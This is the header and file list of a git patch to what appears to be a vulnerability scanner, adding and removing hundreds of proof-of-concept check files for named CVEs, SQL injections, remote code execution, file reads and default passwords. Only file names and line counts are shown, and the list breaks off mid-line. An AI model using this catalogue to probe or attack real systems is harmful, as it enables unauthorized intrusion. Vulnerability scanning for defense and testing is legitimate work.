From b06d7ac94c307ceca0720b343e0282fc27c9cc45 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Tue, 16 Nov 2021 11:53:46 +0800 Subject: [PATCH] =?UTF-8?q?=E4=BC=98=E5=8C=96xray=E8=A7=A3=E6=9E=90?= =?UTF-8?q?=E6=A8=A1=E5=9D=97,=E6=94=AF=E6=8C=81groups=E3=80=81=E6=96=B0?= =?UTF-8?q?=E5=A2=9Epoc?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/redis.go | 12 ++- Plugins/scanner.go | 2 +- Plugins/webtitle.go | 16 ++-- WebScan/lib/check.go | 70 ++++++++++++---- WebScan/lib/http.pb.go | 58 +++++++------ WebScan/pocs/74cms-sqli-1.yml | 16 ++++ WebScan/pocs/74cms-sqli-2.yml | 12 +++ WebScan/pocs/74cms-sqli.yml | 10 +++ .../pocs/active-directory-certsrv-detect.yml | 11 +++ WebScan/pocs/airflow-unauth.yml | 10 +++ .../pocs/alibaba-canal-default-password.yml | 19 +++++ WebScan/pocs/alibaba-nacos-api-unauth.yml | 15 ---- WebScan/pocs/alibaba-nacos-v1-auth-bypass.yml | 27 ++++++ WebScan/pocs/amtt-hiboss-server-ping-rce.yml | 18 ++++ .../pocs/apache-ambari-default-password.yml | 11 +++ WebScan/pocs/apache-druid-cve-2021-36749.yml | 24 ++++++ WebScan/pocs/apache-flink-upload-rce.yml | 6 +- .../pocs/apache-httpd-cve-2021-40438-ssrf.yml | 12 +++ ...he-httpd-cve-2021-41773-path-traversal.yml | 16 ++++ .../pocs/apache-httpd-cve-2021-41773-rce.yml | 14 ++++ .../apache-kylin-unauth-cve-2020-13937.yml | 10 +++ .../apache-nifi-api-unauthorized-access.yml | 12 +++ ...fbiz-cve-2020-9496-xml-deserialization.yml | 2 +- WebScan/pocs/apache-solr-file-read.yml | 21 ----- WebScan/pocs/aspcms-backend-leak.yml | 16 ++++ WebScan/pocs/atlassian-confluence-rce.yml | 17 ---- WebScan/pocs/bash-cve-2014-6271.yml | 14 ++++ WebScan/pocs/cacti-weathermap-file-write.yml | 15 ++++ .../chinaunicom-modem-default-password.yml | 9 ++ .../citrix-cve-2019-19781-path-traversal.yml | 11 +++ WebScan/pocs/citrix-cve-2020-8191-xss.yml | 18 ++++ .../citrix-cve-2020-8193-unauthorized.yml | 20 +++++ .../pocs/citrix-xenmobile-cve-2020-8209.yml | 11 +++ WebScan/pocs/coldfusion-cve-2010-2861-lfi.yml | 13 +++ WebScan/pocs/confluence-cve-2015-8399.yml | 10 +++ WebScan/pocs/confluence-cve-2019-3396-lfi.yml | 17 ++++ WebScan/pocs/confluence-cve-2021-26084.yml | 15 ++++ ...nce-cve-2021-26085-arbitrary-file-read.yml | 12 +++ WebScan/pocs/consul-rexec-rce.yml | 10 +++ WebScan/pocs/consul-service-rce.yml | 10 +++ WebScan/pocs/couchcms-cve-2018-7662.yml | 16 ++++ WebScan/pocs/couchdb-cve-2017-12635.yml | 24 ++++++ WebScan/pocs/couchdb-unauth.yml | 11 +++ .../craftcms-seomatic-cve-2020-9757-rce.yml | 20 +++++ ...ng-ac-default-password-cnvd-2021-04128.yml | 14 ++++ .../pocs/dedecms-carbuyaction-fileinclude.yml | 22 +++++ WebScan/pocs/dedecms-cve-2018-6910.yml | 10 +++ WebScan/pocs/dedecms-cve-2018-7700-rce.yml | 15 ++++ WebScan/pocs/dedecms-guestbook-sqli.yml | 26 ++++++ WebScan/pocs/dedecms-membergroup-sqli.yml | 15 ++++ WebScan/pocs/dedecms-url-redirection.yml | 13 +++ WebScan/pocs/discuz-v72-sqli.yml | 14 ++++ WebScan/pocs/discuz-wechat-plugins-unauth.yml | 11 +++ WebScan/pocs/discuz-wooyun-2010-080723.yml | 17 ++++ WebScan/pocs/dlink-850l-info-leak.yml | 17 ++++ WebScan/pocs/dlink-cve-2019-16920-rce.yml | 19 +++++ WebScan/pocs/dlink-cve-2019-17506.yml | 2 +- ...link-cve-2020-25078-account-disclosure.yml | 5 +- .../dlink-cve-2020-9376-dump-credentials.yml | 4 +- WebScan/pocs/dlink-dcs-info-leak.yml | 9 -- WebScan/pocs/dlink-dsl-2888a-rce.yml | 25 ++++++ WebScan/pocs/docker-api-unauthorized-rce.yml | 2 +- WebScan/pocs/dotnetcms-sqli.yml | 21 +++++ WebScan/pocs/draytek-cve-2020-8515.yml | 15 ++++ WebScan/pocs/drupal-cve-2018-7600-rce.yml | 38 +++++++-- WebScan/pocs/drupal-cve-2018-7600-rce2.yml | 29 ------- WebScan/pocs/drupal-cve-2019-6340.yml | 4 +- WebScan/pocs/drupal-drupal7geddon2-rce.yml | 28 ------- WebScan/pocs/drupal-drupal8geddon2-rce.yml | 20 ----- WebScan/pocs/dubbo-admin-default-password.yml | 20 +++++ WebScan/pocs/duomicms-sqli.yml | 13 +++ WebScan/pocs/dvr-cve-2018-9995.yml | 15 ++++ .../e-zkeco-cnvd-2020-57264-read-file.yml | 10 +++ ...ology-filedownload-directory-traversal.yml | 11 +++ WebScan/pocs/ecology-javabeanshell-rce.yml | 16 ++++ ...gy-springframework-directory-traversal.yml | 11 +++ WebScan/pocs/ecology-syncuserinfo-sqli.yml | 15 ++++ WebScan/pocs/ecology-v8-sqli.yml | 15 ++++ .../ecology-workflowcentertreedata-sqli.yml | 19 +++++ WebScan/pocs/ecology-workflowservicexml.yml | 32 +++++++ WebScan/pocs/ecshop-collection-list-sqli.yml | 14 ++++ WebScan/pocs/ecshop-rce.yml | 28 +++++-- WebScan/pocs/ecshop-rce2.yml | 17 ---- .../pocs/eea-info-leak-cnvd-2021-10543.yml | 11 +++ WebScan/pocs/elasticsearch-cve-2014-3120.yml | 45 ++++++++++ WebScan/pocs/elasticsearch-cve-2015-1427.yml | 35 ++++++++ .../pocs/elasticsearch-cve-2015-3337-lfi.yml | 11 +++ WebScan/pocs/elasticsearch-cve-2015-5531.yml | 42 ++++++++++ WebScan/pocs/etcd-unauth.yml | 29 +++++++ WebScan/pocs/etouch-v2-sqli.yml | 12 +++ WebScan/pocs/exchange-cve-2021-26855-ssrf.yml | 4 +- WebScan/pocs/eyou-rce.yml | 13 +-- WebScan/pocs/f5-cve-2021-22986.yml | 20 +++++ WebScan/pocs/feifeicms-lfr.yml | 10 +++ WebScan/pocs/finecms-sqli.yml | 13 +++ .../pocs/finereport-directory-traversal.yml | 11 +++ WebScan/pocs/flexpaper-cve-2018-11686.yml | 38 +++++++++ .../flink-jobmanager-cve-2020-17519-lfi.yml | 10 +++ WebScan/pocs/flir-ax8-file-read.yml | 11 --- .../fortigate-cve-2018-13379-readfile.yml | 13 +++ WebScan/pocs/frp-dashboard-unauth.yml | 21 +++++ WebScan/pocs/gateone-cve-2020-35736.yml | 15 ++++ WebScan/pocs/gilacms-cve-2020-5515.yml | 12 +++ .../pocs/gitlab-cnvd-2021-14193-infoleak.yml | 15 ---- ...itlab-graphql-info-leak-cve-2020-26413.yml | 15 ++++ WebScan/pocs/gitlab-ssrf-cve-2021-22214.yml | 14 ++++ WebScan/pocs/gitlist-rce-cve-2018-1000533.yml | 25 ++++++ .../pocs/glassfish-cve-2017-1000028-lfi.yml | 12 +++ WebScan/pocs/go-pprof-leak.yml | 15 ++++ WebScan/pocs/gocd-cve-2021-43287.yml | 17 ++++ ...tabase-web-console-unauthorized-access.yml | 18 ++++ WebScan/pocs/h3c-imc-rce.yml | 19 +++++ WebScan/pocs/h3c-secparh-any-user-login.yml | 6 +- ...-video-platform-cnvd-2020-67113-unauth.yml | 16 ++++ WebScan/pocs/hadoop-yarn-unauth.yml | 13 +++ .../hanming-video-conferencing-file-read.yml | 20 +++++ WebScan/pocs/harbor-cve-2019-16097.yml | 24 ++++++ WebScan/pocs/hikvision-cve-2017-7921.yml | 4 +- WebScan/pocs/hikvision-info-leak.yml | 17 ++++ ...sion-intercom-service-default-password.yml | 17 ++++ ...ion-unauthenticated-rce-cve-2021-36260.yml | 33 ++++++++ WebScan/pocs/hjtcloud-arbitrary-fileread.yml | 12 +++ WebScan/pocs/hjtcloud-directory-file-leak.yml | 11 +++ .../huawei-home-gateway-hg659-fileread.yml | 10 +++ WebScan/pocs/ifw8-router-cve-2019-16313.yml | 21 +++++ WebScan/pocs/influxdb-unauth.yml | 16 ++++ .../pocs/inspur-tscev4-cve-2020-21224-rce.yml | 13 +++ .../pocs/jeewms-showordownbyurl-fileread.yml | 16 ++++ .../jellyfin-file-read-cve-2021-21402.yml | 10 +++ WebScan/pocs/jenkins-cve-2018-1000600.yml | 13 +++ WebScan/pocs/jetty-cve-2021-28164.yml | 11 +++ WebScan/pocs/jira-cve-2019-11581.yml | 23 +++++ WebScan/pocs/jira-cve-2019-8442.yml | 11 +++ WebScan/pocs/jira-cve-2019-8449.yml | 10 +++ WebScan/pocs/jira-cve-2020-14179.yml | 11 +++ WebScan/pocs/jira-cve-2020-14181.yml | 14 ++++ WebScan/pocs/jira-ssrf-cve-2019-8451.yml | 19 +++++ WebScan/pocs/joomla-cnvd-2019-34135-rce.yml | 27 ++++++ WebScan/pocs/joomla-component-vreview-sql.yml | 18 ++++ WebScan/pocs/joomla-cve-2015-7297-sqli.yml | 10 +++ WebScan/pocs/joomla-cve-2017-8917-sqli.yml | 8 ++ WebScan/pocs/joomla-cve-2018-7314-sql.yml | 13 +++ ...omla-ext-zhbaidumap-cve-2018-6605-sqli.yml | 20 +++++ WebScan/pocs/jumpserver-unauth-rce.yml | 34 +++++--- WebScan/pocs/jumpserver-unauth-rce2.yml | 21 ----- .../jupyter-notebook-unauthorized-access.yml | 11 +++ WebScan/pocs/kafka-manager-unauth.yml | 11 +++ WebScan/pocs/kibana-cve-2018-17246.yml | 13 +++ WebScan/pocs/kibana-unauth.yml | 11 +++ .../pocs/kingdee-eas-directory-traversal.yml | 14 ++++ WebScan/pocs/kong-cve-2020-11710-unauth.yml | 14 ++++ WebScan/pocs/kubernetes-unauth.yml | 10 +++ ...rk-monitoring-account-password-leakage.yml | 16 ++++ .../pocs/landray-oa-custom-jsp-fileread-2.yml | 11 --- .../pocs/landray-oa-custom-jsp-fileread.yml | 21 +++-- WebScan/pocs/laravel-cve-2021-3129.yml | 23 +++++ WebScan/pocs/maccms-rce.yml | 14 ++++ WebScan/pocs/maccmsv10-backdoor.yml | 15 ++++ WebScan/pocs/metinfo-cve-2019-16996-sqli.yml | 16 ++++ WebScan/pocs/metinfo-cve-2019-16997-sqli.yml | 18 ++++ WebScan/pocs/metinfo-cve-2019-17418-sqli.yml | 16 ++++ WebScan/pocs/metinfo-file-read.yml | 9 ++ WebScan/pocs/metinfo-lfi-cnvd-2018-13393.yml | 12 +++ WebScan/pocs/minio-default-password.yml | 26 ++++++ WebScan/pocs/mpsec-isg1000-file-read.yml | 11 +++ WebScan/pocs/msvod-sqli.yml | 12 +++ WebScan/pocs/myucms-lfr.yml | 10 +++ WebScan/pocs/nagio-cve-2018-10735.yml | 15 ++++ WebScan/pocs/nagio-cve-2018-10736.yml | 15 ++++ WebScan/pocs/nagio-cve-2018-10737.yml | 19 +++++ WebScan/pocs/nagio-cve-2018-10738.yml | 19 +++++ WebScan/pocs/natshell-arbitrary-file-read.yml | 12 +++ .../pocs/netentsec-icg-default-password.yml | 11 +++ WebScan/pocs/netentsec-ngfw-rce.yml | 22 ++--- WebScan/pocs/netgear-cve-2017-5521.yml | 11 +++ WebScan/pocs/nextjs-cve-2017-16877.yml | 13 +++ WebScan/pocs/nexus-cve-2019-7238.yml | 2 +- WebScan/pocs/nexus-default-password.yml | 15 +--- .../nexusdb-cve-2020-24571-path-traversal.yml | 11 +++ WebScan/pocs/nhttpd-cve-2019-16278.yml | 19 +++++ ...-red-dashboard-file-read-cve-2021-3223.yml | 10 +++ .../novnc-url-redirection-cve-2021-3654.yml | 16 ++++ WebScan/pocs/nps-default-password.yml | 8 ++ WebScan/pocs/ns-asg-file-read.yml | 11 +++ WebScan/pocs/nsfocus-uts-password-leak.yml | 11 +++ WebScan/pocs/nuuo-file-inclusion.yml | 10 +++ WebScan/pocs/odoo-file-read.yml | 14 ++++ WebScan/pocs/openfire-cve-2019-18394-ssrf.yml | 12 +++ WebScan/pocs/opentsdb-cve-2020-35476-rce.yml | 50 +++++++++++ .../pocs/panabit-gateway-default-password.yml | 11 +++ .../pocs/panabit-ixcache-default-password.yml | 11 +++ .../pocs/pandorafms-cve-2019-20224-rce.yml | 20 +++++ .../pocs/pbootcms-database-file-download.yml | 11 +++ WebScan/pocs/php-cgi-cve-2012-1823.yml | 14 ++++ WebScan/pocs/phpcms-cve-2018-19127.yml | 20 +++++ WebScan/pocs/phpok-sqli.yml | 12 +++ WebScan/pocs/phpshe-sqli.yml | 13 +++ WebScan/pocs/phpstudy-nginx-wrong-resolve.yml | 57 +++++++++++++ WebScan/pocs/phpunit-cve-2017-9841-rce.yml | 13 +++ .../powercreator-arbitrary-file-upload.yml | 24 ++++++ ...metheus-url-redirection-cve-2021-29622.yml | 11 +++ WebScan/pocs/pulse-cve-2019-11510.yml | 14 ++++ WebScan/pocs/pyspider-unauthorized-access.yml | 18 ++++ WebScan/pocs/qibocms-sqli.yml | 12 +++ WebScan/pocs/qilin-bastion-host-rce.yml | 19 +++++ WebScan/pocs/qnap-cve-2019-7192.yml | 28 +++++++ WebScan/pocs/rabbitmq-default-password.yml | 16 ++++ WebScan/pocs/rails-cve-2018-3760-rce.yml | 19 +++++ WebScan/pocs/razor-cve-2018-8770.yml | 12 +++ WebScan/pocs/rconfig-cve-2019-16663.yml | 15 ++++ WebScan/pocs/resin-cnnvd-200705-315.yml | 12 +++ .../pocs/resin-inputfile-fileread-or-ssrf.yml | 11 +++ WebScan/pocs/resin-viewfile-fileread.yml | 12 +++ WebScan/pocs/rockmongo-default-password.yml | 2 +- WebScan/pocs/ruijie-eg-cli-rce.yml | 35 ++++++++ WebScan/pocs/ruijie-eg-file-read.yml | 32 +++++++ WebScan/pocs/ruijie-eg-info-leak.yml | 11 +-- WebScan/pocs/ruijie-eg-rce.yml | 29 ------- WebScan/pocs/ruoyi-management-fileread.yml | 16 ++++ WebScan/pocs/saltstack-cve-2020-16846.yml | 17 ++++ WebScan/pocs/samsung-wea453e-default-pwd.yml | 13 +++ WebScan/pocs/samsung-wea453e-rce.yml | 16 ++++ WebScan/pocs/samsung-wlan-ap-wea453e-rce.yml | 17 ++++ WebScan/pocs/sangfor-ba-rce.yml | 13 +++ WebScan/pocs/satellian-cve-2020-7980-rce.yml | 20 +++++ WebScan/pocs/seacms-before-v992-rce.yml | 16 ++++ WebScan/pocs/seacms-rce.yml | 18 ++++ WebScan/pocs/seacms-sqli.yml | 11 +++ WebScan/pocs/seacms-v654-rce.yml | 15 ++++ WebScan/pocs/seacmsv645-command-exec.yml | 14 ++++ WebScan/pocs/secnet-ac-default-password.yml | 15 ++++ .../pocs/seeyon-wooyun-2015-0108235-sqli.yml | 12 +++ WebScan/pocs/seeyon-wooyun-2015-148227.yml | 11 +++ .../pocs/shiziyu-cms-apicontroller-sqli.yml | 12 +++ WebScan/pocs/shopxo-cnvd-2021-15822.yml | 19 +++++ WebScan/pocs/showdoc-default-password.yml | 12 +++ .../pocs/skywalking-cve-2020-9483-sqli.yml | 16 ++++ WebScan/pocs/solarwinds-cve-2020-10148.yml | 13 +++ WebScan/pocs/solr-cve-2017-12629-xxe.yml | 19 +++++ WebScan/pocs/solr-cve-2019-0193.yml | 4 +- WebScan/pocs/solr-fileread.yml | 46 ++++++++++ WebScan/pocs/solr-fileread1.yml | 25 ------ WebScan/pocs/solr-fileread2.yml | 25 ------ .../pocs/sonarqube-cve-2020-27986-unauth.yml | 11 +++ WebScan/pocs/spark-api-unauth.yml | 10 +++ WebScan/pocs/spark-webui-unauth.yml | 8 ++ WebScan/pocs/spon-ip-intercom-ping-rce.yml | 19 +++++ WebScan/pocs/spring-heapdump-file.yml | 12 --- WebScan/pocs/springboot-env-unauth.yml | 16 ++-- WebScan/pocs/springboot-env-unauth2.yml | 9 -- WebScan/pocs/struts2-045-1.yml | 15 ---- WebScan/pocs/struts2-045-2.yml | 12 --- WebScan/pocs/struts2-045.yml | 24 ++++++ WebScan/pocs/supervisord-cve-2017-11610.yml | 24 ++++++ WebScan/pocs/swagger-ui-unauth-No1.yml | 10 --- WebScan/pocs/swagger-ui-unauth-No2.yml | 10 --- WebScan/pocs/swagger-ui-unauth-No3.yml | 10 --- WebScan/pocs/swagger-ui-unauth-No4.yml | 10 --- WebScan/pocs/swagger-ui-unauth-No5.yml | 10 --- WebScan/pocs/swagger-ui-unauth-No6.yml | 10 --- WebScan/pocs/swagger-ui-unauth-No7.yml | 10 --- WebScan/pocs/swagger-ui-unauth-No8.yml | 10 --- WebScan/pocs/swagger-ui-unauth.yml | 20 +++++ WebScan/pocs/tamronos-iptv-rce.yml | 15 ++++ .../pocs/telecom-gateway-default-password.yml | 17 ++++ WebScan/pocs/tensorboard-unauth.yml | 16 ++++ WebScan/pocs/terramaster-cve-2020-15568.yml | 20 +++++ .../terramaster-tos-rce-cve-2020-28188.yml | 18 ++++ WebScan/pocs/tianqing-info-leak.yml | 2 +- .../pocs/tongda-user-session-disclosure.yml | 1 + WebScan/pocs/tpshop-directory-traversal.yml | 17 ++++ WebScan/pocs/tpshop-sqli.yml | 15 ++++ ...tvt-nvms-1000-file-read-cve-2019-20085.yml | 16 ++++ WebScan/pocs/typecho-rce.yml | 21 +++++ WebScan/pocs/uwsgi-cve-2018-7490.yml | 10 +++ .../pocs/vbulletin-cve-2019-16759-bypass.yml | 17 ++++ WebScan/pocs/vbulletin-cve-2019-16759.yml | 19 +++++ WebScan/pocs/vengd-upload-rce.yml | 25 ------ .../vmware-vcenter-arbitrary-file-read.yml | 19 +++-- .../vmware-vcenter-arbitrary-file-read2.yml | 11 --- .../vmware-vrealize-cve-2021-21975-ssrf.yml | 2 +- .../pocs/weaver-ebridge-file-read-linux.yml | 19 ----- .../pocs/weaver-ebridge-file-read-windows.yml | 19 ----- WebScan/pocs/weaver-ebridge-file-read.yml | 34 ++++++++ WebScan/pocs/weaver-ecology-sqli.yml | 13 --- .../weaver-ecology-workflowservicexml-2.yml | 20 ----- .../weaver-ecology-workflowservicexml.yml | 20 ----- WebScan/pocs/weblogic-cve-2017-10271.yml | 34 ++++++++ WebScan/pocs/weblogic-cve-2020-14750.yml | 2 +- WebScan/pocs/weblogic-v10-cve-2017-10271.yml | 20 ----- WebScan/pocs/weblogic-v12-cve-2019-2725.yml | 20 ----- WebScan/pocs/webmin-cve-2019-15107-rce.yml | 1 + WebScan/pocs/weiphp-path-traversal.yml | 23 +++++ WebScan/pocs/weiphp-sql.yml | 13 +++ ...fisky-default-password-cnvd-2021-39012.yml | 13 +++ WebScan/pocs/wuzhicms-v410-sqli.yml | 14 ++++ WebScan/pocs/xdcms-sql.yml | 15 ++++ ...uno-bbs-cvnd-2019-01348-reinstallation.yml | 14 ++++ .../pocs/xunchi-cnvd-2020-23735-file-read.yml | 15 ++++ WebScan/pocs/yapi-rce.yml | 84 +++++++++++++++++++ WebScan/pocs/yccms-rce.yml | 14 ++++ .../yongyou-erp-nc-directory-traversal.yml | 10 --- .../yonyou-nc-bsh-servlet-bshservlet-rce.yml | 14 ++++ .../pocs/youphptube-encoder-cve-2019-5127.yml | 20 +++++ .../pocs/youphptube-encoder-cve-2019-5128.yml | 20 +++++ .../pocs/youphptube-encoder-cve-2019-5129.yml | 20 +++++ WebScan/pocs/yungoucms-sqli.yml | 14 ++++ WebScan/pocs/zabbix-default-password.yml | 4 +- WebScan/pocs/zcms-v3-sqli.yml | 12 +++ ...dejs-cve-2020-5284-directory-traversal.yml | 11 +++ WebScan/pocs/zeroshell-cve-2019-12725-rce.yml | 16 ++++ WebScan/pocs/zimbra-cve-2019-9670-xxe.yml | 19 +++++ WebScan/pocs/zzcms-zsmanage-sqli.yml | 25 ++++++ 313 files changed, 4314 insertions(+), 760 deletions(-) create mode 100644 WebScan/pocs/74cms-sqli-1.yml create mode 100644 WebScan/pocs/74cms-sqli-2.yml create mode 100644 WebScan/pocs/74cms-sqli.yml create mode 100644 WebScan/pocs/active-directory-certsrv-detect.yml create mode 100644 WebScan/pocs/airflow-unauth.yml create mode 100644 WebScan/pocs/alibaba-canal-default-password.yml delete mode 100644 WebScan/pocs/alibaba-nacos-api-unauth.yml create mode 100644 WebScan/pocs/alibaba-nacos-v1-auth-bypass.yml create mode 100644 WebScan/pocs/amtt-hiboss-server-ping-rce.yml create mode 100644 WebScan/pocs/apache-ambari-default-password.yml create mode 100644 WebScan/pocs/apache-druid-cve-2021-36749.yml create mode 100644 WebScan/pocs/apache-httpd-cve-2021-40438-ssrf.yml create mode 100644 WebScan/pocs/apache-httpd-cve-2021-41773-path-traversal.yml create mode 100644 WebScan/pocs/apache-httpd-cve-2021-41773-rce.yml create mode 100644 WebScan/pocs/apache-kylin-unauth-cve-2020-13937.yml create mode 100644 WebScan/pocs/apache-nifi-api-unauthorized-access.yml delete mode 100644 WebScan/pocs/apache-solr-file-read.yml create mode 100644 WebScan/pocs/aspcms-backend-leak.yml delete mode 100644 WebScan/pocs/atlassian-confluence-rce.yml create mode 100644 WebScan/pocs/bash-cve-2014-6271.yml create mode 100644 WebScan/pocs/cacti-weathermap-file-write.yml create mode 100644 WebScan/pocs/chinaunicom-modem-default-password.yml create mode 100644 WebScan/pocs/citrix-cve-2019-19781-path-traversal.yml create mode 100644 WebScan/pocs/citrix-cve-2020-8191-xss.yml create mode 100644 WebScan/pocs/citrix-cve-2020-8193-unauthorized.yml create mode 100644 WebScan/pocs/citrix-xenmobile-cve-2020-8209.yml create mode 100644 WebScan/pocs/coldfusion-cve-2010-2861-lfi.yml create mode 100644 WebScan/pocs/confluence-cve-2015-8399.yml create mode 100644 WebScan/pocs/confluence-cve-2019-3396-lfi.yml create mode 100644 WebScan/pocs/confluence-cve-2021-26084.yml create mode 100644 WebScan/pocs/confluence-cve-2021-26085-arbitrary-file-read.yml create mode 100644 WebScan/pocs/consul-rexec-rce.yml create mode 100644 WebScan/pocs/consul-service-rce.yml create mode 100644 WebScan/pocs/couchcms-cve-2018-7662.yml create mode 100644 WebScan/pocs/couchdb-cve-2017-12635.yml create mode 100644 WebScan/pocs/couchdb-unauth.yml create mode 100644 WebScan/pocs/craftcms-seomatic-cve-2020-9757-rce.yml create mode 100644 WebScan/pocs/datang-ac-default-password-cnvd-2021-04128.yml create mode 100644 WebScan/pocs/dedecms-carbuyaction-fileinclude.yml create mode 100644 WebScan/pocs/dedecms-cve-2018-6910.yml create mode 100644 WebScan/pocs/dedecms-cve-2018-7700-rce.yml create mode 100644 WebScan/pocs/dedecms-guestbook-sqli.yml create mode 100644 WebScan/pocs/dedecms-membergroup-sqli.yml create mode 100644 WebScan/pocs/dedecms-url-redirection.yml create mode 100644 WebScan/pocs/discuz-v72-sqli.yml create mode 100644 WebScan/pocs/discuz-wechat-plugins-unauth.yml create mode 100644 WebScan/pocs/discuz-wooyun-2010-080723.yml create mode 100644 WebScan/pocs/dlink-850l-info-leak.yml create mode 100644 WebScan/pocs/dlink-cve-2019-16920-rce.yml delete mode 100644 WebScan/pocs/dlink-dcs-info-leak.yml create mode 100644 WebScan/pocs/dlink-dsl-2888a-rce.yml create mode 100644 WebScan/pocs/dotnetcms-sqli.yml create mode 100644 WebScan/pocs/draytek-cve-2020-8515.yml delete mode 100644 WebScan/pocs/drupal-cve-2018-7600-rce2.yml delete mode 100644 WebScan/pocs/drupal-drupal7geddon2-rce.yml delete mode 100644 WebScan/pocs/drupal-drupal8geddon2-rce.yml create mode 100644 WebScan/pocs/dubbo-admin-default-password.yml create mode 100644 WebScan/pocs/duomicms-sqli.yml create mode 100644 WebScan/pocs/dvr-cve-2018-9995.yml create mode 100644 WebScan/pocs/e-zkeco-cnvd-2020-57264-read-file.yml create mode 100644 WebScan/pocs/ecology-filedownload-directory-traversal.yml create mode 100644 WebScan/pocs/ecology-javabeanshell-rce.yml create mode 100644 WebScan/pocs/ecology-springframework-directory-traversal.yml create mode 100644 WebScan/pocs/ecology-syncuserinfo-sqli.yml create mode 100644 WebScan/pocs/ecology-v8-sqli.yml create mode 100644 WebScan/pocs/ecology-workflowcentertreedata-sqli.yml create mode 100644 WebScan/pocs/ecology-workflowservicexml.yml create mode 100644 WebScan/pocs/ecshop-collection-list-sqli.yml delete mode 100644 WebScan/pocs/ecshop-rce2.yml create mode 100644 WebScan/pocs/eea-info-leak-cnvd-2021-10543.yml create mode 100644 WebScan/pocs/elasticsearch-cve-2014-3120.yml create mode 100644 WebScan/pocs/elasticsearch-cve-2015-1427.yml create mode 100644 WebScan/pocs/elasticsearch-cve-2015-3337-lfi.yml create mode 100644 WebScan/pocs/elasticsearch-cve-2015-5531.yml create mode 100644 WebScan/pocs/etcd-unauth.yml create mode 100644 WebScan/pocs/etouch-v2-sqli.yml create mode 100644 WebScan/pocs/f5-cve-2021-22986.yml create mode 100644 WebScan/pocs/feifeicms-lfr.yml create mode 100644 WebScan/pocs/finecms-sqli.yml create mode 100644 WebScan/pocs/finereport-directory-traversal.yml create mode 100644 WebScan/pocs/flexpaper-cve-2018-11686.yml create mode 100644 WebScan/pocs/flink-jobmanager-cve-2020-17519-lfi.yml delete mode 100644 WebScan/pocs/flir-ax8-file-read.yml create mode 100644 WebScan/pocs/fortigate-cve-2018-13379-readfile.yml create mode 100644 WebScan/pocs/frp-dashboard-unauth.yml create mode 100644 WebScan/pocs/gateone-cve-2020-35736.yml create mode 100644 WebScan/pocs/gilacms-cve-2020-5515.yml delete mode 100644 WebScan/pocs/gitlab-cnvd-2021-14193-infoleak.yml create mode 100644 WebScan/pocs/gitlab-graphql-info-leak-cve-2020-26413.yml create mode 100644 WebScan/pocs/gitlab-ssrf-cve-2021-22214.yml create mode 100644 WebScan/pocs/gitlist-rce-cve-2018-1000533.yml create mode 100644 WebScan/pocs/glassfish-cve-2017-1000028-lfi.yml create mode 100644 WebScan/pocs/go-pprof-leak.yml create mode 100644 WebScan/pocs/gocd-cve-2021-43287.yml create mode 100644 WebScan/pocs/h2-database-web-console-unauthorized-access.yml create mode 100644 WebScan/pocs/h3c-imc-rce.yml create mode 100644 WebScan/pocs/h5s-video-platform-cnvd-2020-67113-unauth.yml create mode 100644 WebScan/pocs/hadoop-yarn-unauth.yml create mode 100644 WebScan/pocs/hanming-video-conferencing-file-read.yml create mode 100644 WebScan/pocs/harbor-cve-2019-16097.yml create mode 100644 WebScan/pocs/hikvision-info-leak.yml create mode 100644 WebScan/pocs/hikvision-intercom-service-default-password.yml create mode 100644 WebScan/pocs/hikvision-unauthenticated-rce-cve-2021-36260.yml create mode 100644 WebScan/pocs/hjtcloud-arbitrary-fileread.yml create mode 100644 WebScan/pocs/hjtcloud-directory-file-leak.yml create mode 100644 WebScan/pocs/huawei-home-gateway-hg659-fileread.yml create mode 100644 WebScan/pocs/ifw8-router-cve-2019-16313.yml create mode 100644 WebScan/pocs/influxdb-unauth.yml create mode 100644 WebScan/pocs/inspur-tscev4-cve-2020-21224-rce.yml create mode 100644 WebScan/pocs/jeewms-showordownbyurl-fileread.yml create mode 100644 WebScan/pocs/jellyfin-file-read-cve-2021-21402.yml create mode 100644 WebScan/pocs/jenkins-cve-2018-1000600.yml create mode 100644 WebScan/pocs/jetty-cve-2021-28164.yml create mode 100644 WebScan/pocs/jira-cve-2019-11581.yml create mode 100644 WebScan/pocs/jira-cve-2019-8442.yml create mode 100644 WebScan/pocs/jira-cve-2019-8449.yml create mode 100644 WebScan/pocs/jira-cve-2020-14179.yml create mode 100644 WebScan/pocs/jira-cve-2020-14181.yml create mode 100644 WebScan/pocs/jira-ssrf-cve-2019-8451.yml create mode 100644 WebScan/pocs/joomla-cnvd-2019-34135-rce.yml create mode 100644 WebScan/pocs/joomla-component-vreview-sql.yml create mode 100644 WebScan/pocs/joomla-cve-2015-7297-sqli.yml create mode 100644 WebScan/pocs/joomla-cve-2017-8917-sqli.yml create mode 100644 WebScan/pocs/joomla-cve-2018-7314-sql.yml create mode 100644 WebScan/pocs/joomla-ext-zhbaidumap-cve-2018-6605-sqli.yml delete mode 100644 WebScan/pocs/jumpserver-unauth-rce2.yml create mode 100644 WebScan/pocs/jupyter-notebook-unauthorized-access.yml create mode 100644 WebScan/pocs/kafka-manager-unauth.yml create mode 100644 WebScan/pocs/kibana-cve-2018-17246.yml create mode 100644 WebScan/pocs/kibana-unauth.yml create mode 100644 WebScan/pocs/kingdee-eas-directory-traversal.yml create mode 100644 WebScan/pocs/kong-cve-2020-11710-unauth.yml create mode 100644 WebScan/pocs/kubernetes-unauth.yml create mode 100644 WebScan/pocs/kyan-network-monitoring-account-password-leakage.yml delete mode 100644 WebScan/pocs/landray-oa-custom-jsp-fileread-2.yml create mode 100644 WebScan/pocs/laravel-cve-2021-3129.yml create mode 100644 WebScan/pocs/maccms-rce.yml create mode 100644 WebScan/pocs/maccmsv10-backdoor.yml create mode 100644 WebScan/pocs/metinfo-cve-2019-16996-sqli.yml create mode 100644 WebScan/pocs/metinfo-cve-2019-16997-sqli.yml create mode 100644 WebScan/pocs/metinfo-cve-2019-17418-sqli.yml create mode 100644 WebScan/pocs/metinfo-file-read.yml create mode 100644 WebScan/pocs/metinfo-lfi-cnvd-2018-13393.yml create mode 100644 WebScan/pocs/minio-default-password.yml create mode 100644 WebScan/pocs/mpsec-isg1000-file-read.yml create mode 100644 WebScan/pocs/msvod-sqli.yml create mode 100644 WebScan/pocs/myucms-lfr.yml create mode 100644 WebScan/pocs/nagio-cve-2018-10735.yml create mode 100644 WebScan/pocs/nagio-cve-2018-10736.yml create mode 100644 WebScan/pocs/nagio-cve-2018-10737.yml create 